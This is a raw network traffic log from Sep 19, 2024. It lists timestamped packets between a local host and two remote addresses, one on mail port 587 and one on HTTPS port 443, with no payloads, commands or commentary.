Sep 19, 2024 12:22:25.769162893 CEST	61552	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:25.774094105 CEST	587	61552	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:25.818300962 CEST	443	61551	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:25.818372965 CEST	443	61551	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:25.818461895 CEST	61551	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:25.818969965 CEST	61551	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:25.820238113 CEST	61553	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:25.825499058 CEST	587	61553	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:25.825608969 CEST	61553	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:25.927175045 CEST	587	61552	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:25.927486897 CEST	61552	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:25.932430029 CEST	587	61552	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:26.399029016 CEST	587	61553	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:26.399322987 CEST	61553	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:26.404176950 CEST	587	61553	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:26.559828043 CEST	587	61553	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:26.560072899 CEST	61553	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:26.565203905 CEST	587	61553	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:26.723054886 CEST	587	61553	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:26.723342896 CEST	61553	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:26.728321075 CEST	587	61553	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:28.078761101 CEST	587	61552	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:28.079190016 CEST	61552	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:28.083440065 CEST	587	61553	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:28.083698988 CEST	61553	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:28.084264994 CEST	587	61552	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:28.089027882 CEST	587	61553	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:28.237325907 CEST	587	61552	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:28.237694025 CEST	61552	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:28.242644072 CEST	587	61552	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:28.248778105 CEST	587	61553	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:28.248979092 CEST	61553	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:28.253910065 CEST	587	61553	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:28.428474903 CEST	587	61552	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:28.428867102 CEST	61552	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:28.432429075 CEST	61554	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:28.432496071 CEST	443	61554	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:28.432703972 CEST	61554	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:28.432864904 CEST	61554	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:28.432900906 CEST	443	61554	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:28.434559107 CEST	587	61552	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:28.434648991 CEST	61552	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:28.489243984 CEST	587	61553	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:28.489670992 CEST	61553	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:28.491847992 CEST	61555	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:28.491911888 CEST	443	61555	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:28.492110968 CEST	61555	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:28.492202044 CEST	61555	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:28.492227077 CEST	443	61555	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:28.495156050 CEST	587	61553	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:28.495238066 CEST	61553	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:29.036389112 CEST	443	61554	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:29.038671017 CEST	61554	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:29.038753033 CEST	443	61554	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:29.038834095 CEST	61554	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:29.038849115 CEST	443	61554	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:29.105707884 CEST	443	61555	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:29.108268976 CEST	61555	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:29.108331919 CEST	443	61555	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:29.108405113 CEST	61555	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:29.108418941 CEST	443	61555	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:29.347196102 CEST	443	61554	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:29.347274065 CEST	443	61554	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:29.347456932 CEST	61554	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:29.347938061 CEST	61554	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:29.349333048 CEST	61556	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:29.354237080 CEST	587	61556	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:29.354337931 CEST	61556	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:29.403965950 CEST	443	61555	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:29.404078960 CEST	443	61555	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:29.404237986 CEST	61555	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:29.404603958 CEST	61555	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:29.405878067 CEST	61557	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:29.410806894 CEST	587	61557	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:29.410953045 CEST	61557	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:29.909409046 CEST	587	61556	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:29.912358046 CEST	61556	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:29.919667006 CEST	587	61556	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:29.953504086 CEST	587	61557	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:29.956531048 CEST	61557	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:29.964211941 CEST	587	61557	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:30.068423986 CEST	587	61556	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:30.072374105 CEST	61556	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:30.077271938 CEST	587	61556	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:30.110918999 CEST	587	61557	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:30.111397028 CEST	61557	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:30.116326094 CEST	587	61557	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:30.231781960 CEST	587	61556	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:30.232064962 CEST	61556	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:30.237054110 CEST	587	61556	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:30.268218040 CEST	587	61557	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:30.272396088 CEST	61557	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:30.277457952 CEST	587	61557	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:32.450956106 CEST	587	61557	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:32.451215982 CEST	61557	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:32.453272104 CEST	587	61556	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:32.453649998 CEST	61556	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:32.456312895 CEST	587	61557	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:32.458811045 CEST	587	61556	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:32.608478069 CEST	587	61557	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:32.608995914 CEST	61557	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:32.616405010 CEST	587	61556	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:32.616688013 CEST	61556	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:32.617965937 CEST	587	61557	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:32.622942924 CEST	587	61556	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:32.785950899 CEST	587	61557	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:32.786498070 CEST	61557	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:32.788503885 CEST	61558	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:32.788532019 CEST	443	61558	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:32.788613081 CEST	61558	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:32.788852930 CEST	61558	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:32.788866043 CEST	443	61558	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:32.792484999 CEST	587	61557	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:32.792658091 CEST	61557	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:32.812859058 CEST	587	61556	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:32.813242912 CEST	61556	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:32.815056086 CEST	61559	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:32.815089941 CEST	443	61559	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:32.815176964 CEST	61559	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:32.815416098 CEST	61559	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:32.815427065 CEST	443	61559	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:32.818779945 CEST	587	61556	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:32.818859100 CEST	61556	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:34.344269991 CEST	443	61558	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:34.344275951 CEST	443	61559	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:34.345678091 CEST	61558	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:34.345710039 CEST	443	61558	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:34.345763922 CEST	61558	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:34.345777035 CEST	443	61558	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:34.346515894 CEST	61559	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:34.346533060 CEST	443	61559	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:34.346582890 CEST	61559	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:34.346589088 CEST	443	61559	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:34.640103102 CEST	443	61558	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:34.640316010 CEST	443	61558	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:34.640532970 CEST	61558	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:34.640737057 CEST	61558	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:34.642091990 CEST	61560	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:34.647052050 CEST	587	61560	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:34.647145033 CEST	61560	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:34.671204090 CEST	443	61559	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:34.671264887 CEST	443	61559	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:34.671458006 CEST	61559	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:34.671660900 CEST	61559	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:34.672473907 CEST	61561	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:34.677375078 CEST	587	61561	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:34.680071115 CEST	61561	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:35.229367971 CEST	587	61560	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:35.232145071 CEST	61560	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:35.234932899 CEST	587	61561	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:35.236201048 CEST	61561	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:35.237004042 CEST	587	61560	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:35.241108894 CEST	587	61561	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:35.392493010 CEST	587	61560	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:35.392528057 CEST	587	61561	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:35.392702103 CEST	61560	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:35.392740965 CEST	61561	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:35.397922039 CEST	587	61560	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:35.397936106 CEST	587	61561	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:35.551121950 CEST	587	61561	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:35.551409960 CEST	61561	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:35.556041002 CEST	587	61560	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:35.556200027 CEST	61560	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:35.556595087 CEST	587	61561	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:35.561187983 CEST	587	61560	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:37.766916037 CEST	587	61561	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:37.766957998 CEST	587	61560	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:37.767015934 CEST	587	61561	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:37.767044067 CEST	587	61560	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:37.767096043 CEST	61560	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:37.767117977 CEST	61561	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:37.767128944 CEST	61560	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:37.767194033 CEST	61561	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:37.772625923 CEST	587	61560	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:37.772655010 CEST	587	61561	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:37.924055099 CEST	587	61561	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:37.924256086 CEST	61561	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:37.927795887 CEST	587	61560	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:37.927932024 CEST	61560	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:37.929130077 CEST	587	61561	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:37.932804108 CEST	587	61560	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:38.041495085 CEST	61560	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:38.046295881 CEST	61562	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:38.046318054 CEST	443	61562	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:38.046396971 CEST	61562	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:38.046658039 CEST	61562	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:38.046669960 CEST	443	61562	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:38.046694040 CEST	587	61560	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:38.050992966 CEST	61560	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:38.098335981 CEST	587	61561	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:38.098855972 CEST	61561	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:38.101037025 CEST	61563	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:38.101121902 CEST	443	61563	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:38.101430893 CEST	61563	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:38.101432085 CEST	61563	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:38.101514101 CEST	443	61563	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:38.104109049 CEST	587	61561	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:38.104201078 CEST	61561	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:38.658761978 CEST	443	61562	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:38.662022114 CEST	61562	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:38.662038088 CEST	443	61562	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:38.662300110 CEST	61562	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:38.662306070 CEST	443	61562	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:38.719264030 CEST	443	61563	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:38.722069979 CEST	61563	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:38.722132921 CEST	443	61563	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:38.722306967 CEST	61563	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:38.722322941 CEST	443	61563	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:38.951081038 CEST	443	61562	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:38.951292038 CEST	443	61562	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:38.951365948 CEST	61562	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:38.951766014 CEST	61562	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:38.953061104 CEST	61564	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:38.960194111 CEST	587	61564	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:38.960282087 CEST	61564	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:39.025588989 CEST	443	61563	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:39.025640011 CEST	443	61563	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:39.025726080 CEST	61563	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:39.026047945 CEST	61563	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:39.027476072 CEST	61565	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:39.032597065 CEST	587	61565	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:39.032695055 CEST	61565	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:39.523374081 CEST	587	61564	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:39.523535967 CEST	61564	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:39.528450012 CEST	587	61564	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:39.576838970 CEST	587	61565	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:39.577367067 CEST	61565	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:39.585515022 CEST	587	61565	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:39.680028915 CEST	587	61564	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:39.680213928 CEST	61564	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:39.685050011 CEST	587	61564	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:39.731138945 CEST	587	61565	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:39.731313944 CEST	61565	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:39.736143112 CEST	587	61565	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:39.838540077 CEST	587	61564	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:39.838712931 CEST	61564	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:39.843548059 CEST	587	61564	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:39.887197971 CEST	587	61565	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:39.887510061 CEST	61565	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:39.892359018 CEST	587	61565	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:41.082890034 CEST	587	61565	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:41.083056927 CEST	61565	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:41.088124990 CEST	587	61565	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:41.238562107 CEST	587	61565	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:41.238717079 CEST	61565	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:41.243668079 CEST	587	61565	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:41.566231966 CEST	587	61565	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:41.566277981 CEST	587	61564	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:41.566554070 CEST	61564	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:41.566636086 CEST	61565	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:41.570187092 CEST	61566	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:41.570225954 CEST	443	61566	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:41.570291996 CEST	61566	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:41.570688009 CEST	61566	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:41.570702076 CEST	443	61566	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:41.571480989 CEST	587	61564	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:41.571755886 CEST	587	61565	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:41.571822882 CEST	61565	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:41.724509954 CEST	587	61564	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:41.724651098 CEST	61564	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:41.729635000 CEST	587	61564	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:41.760338068 CEST	61564	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:41.764029980 CEST	61567	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:41.764095068 CEST	443	61567	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:41.764173985 CEST	61567	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:41.764522076 CEST	61567	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:41.764569044 CEST	443	61567	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:41.765532017 CEST	587	61564	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:41.765587091 CEST	61564	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:42.207180023 CEST	443	61566	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:42.209446907 CEST	61566	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:42.209467888 CEST	443	61566	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:42.209775925 CEST	61566	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:42.209783077 CEST	443	61566	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:42.376055956 CEST	443	61567	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:42.380042076 CEST	61567	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:42.380095959 CEST	443	61567	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:42.380498886 CEST	61567	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:42.380511999 CEST	443	61567	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:42.801150084 CEST	443	61567	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:42.801232100 CEST	443	61566	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:42.801237106 CEST	443	61567	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:42.801413059 CEST	443	61566	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:42.801436901 CEST	61567	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:42.802674055 CEST	61567	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:42.802683115 CEST	61568	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:42.802814960 CEST	61566	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:42.803632975 CEST	61569	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:42.803637028 CEST	61566	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:42.807656050 CEST	587	61568	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:42.808137894 CEST	61568	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:42.808564901 CEST	587	61569	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:42.812109947 CEST	61569	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:43.377562046 CEST	587	61569	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:43.377706051 CEST	61569	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:43.382647038 CEST	587	61569	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:43.386826992 CEST	587	61568	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:43.386977911 CEST	61568	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:43.391915083 CEST	587	61568	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:43.538256884 CEST	587	61569	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:43.538407087 CEST	61569	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:43.543512106 CEST	587	61569	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:43.547437906 CEST	587	61568	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:43.547597885 CEST	61568	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:43.552541971 CEST	587	61568	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:43.698542118 CEST	587	61569	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:43.698781967 CEST	61569	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:43.705698013 CEST	587	61569	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:43.712973118 CEST	587	61568	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:43.713239908 CEST	61568	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:43.718203068 CEST	587	61568	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:45.090899944 CEST	587	61568	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:45.091061115 CEST	61568	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:45.096153021 CEST	587	61568	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:45.253022909 CEST	587	61568	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:45.253182888 CEST	61568	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:45.258012056 CEST	587	61568	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:45.431982040 CEST	587	61568	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:45.432288885 CEST	61568	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:45.435573101 CEST	61570	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:45.435656071 CEST	443	61570	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:45.435724020 CEST	61570	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:45.435992956 CEST	61570	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:45.436016083 CEST	443	61570	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:45.437568903 CEST	587	61568	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:45.437619925 CEST	61568	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:45.446964979 CEST	587	61569	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:45.447071075 CEST	61569	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:45.451998949 CEST	587	61569	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:45.607012033 CEST	587	61569	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:45.607165098 CEST	61569	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:45.612050056 CEST	587	61569	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:45.783425093 CEST	587	61569	208.91.199.223	192.168.2.5
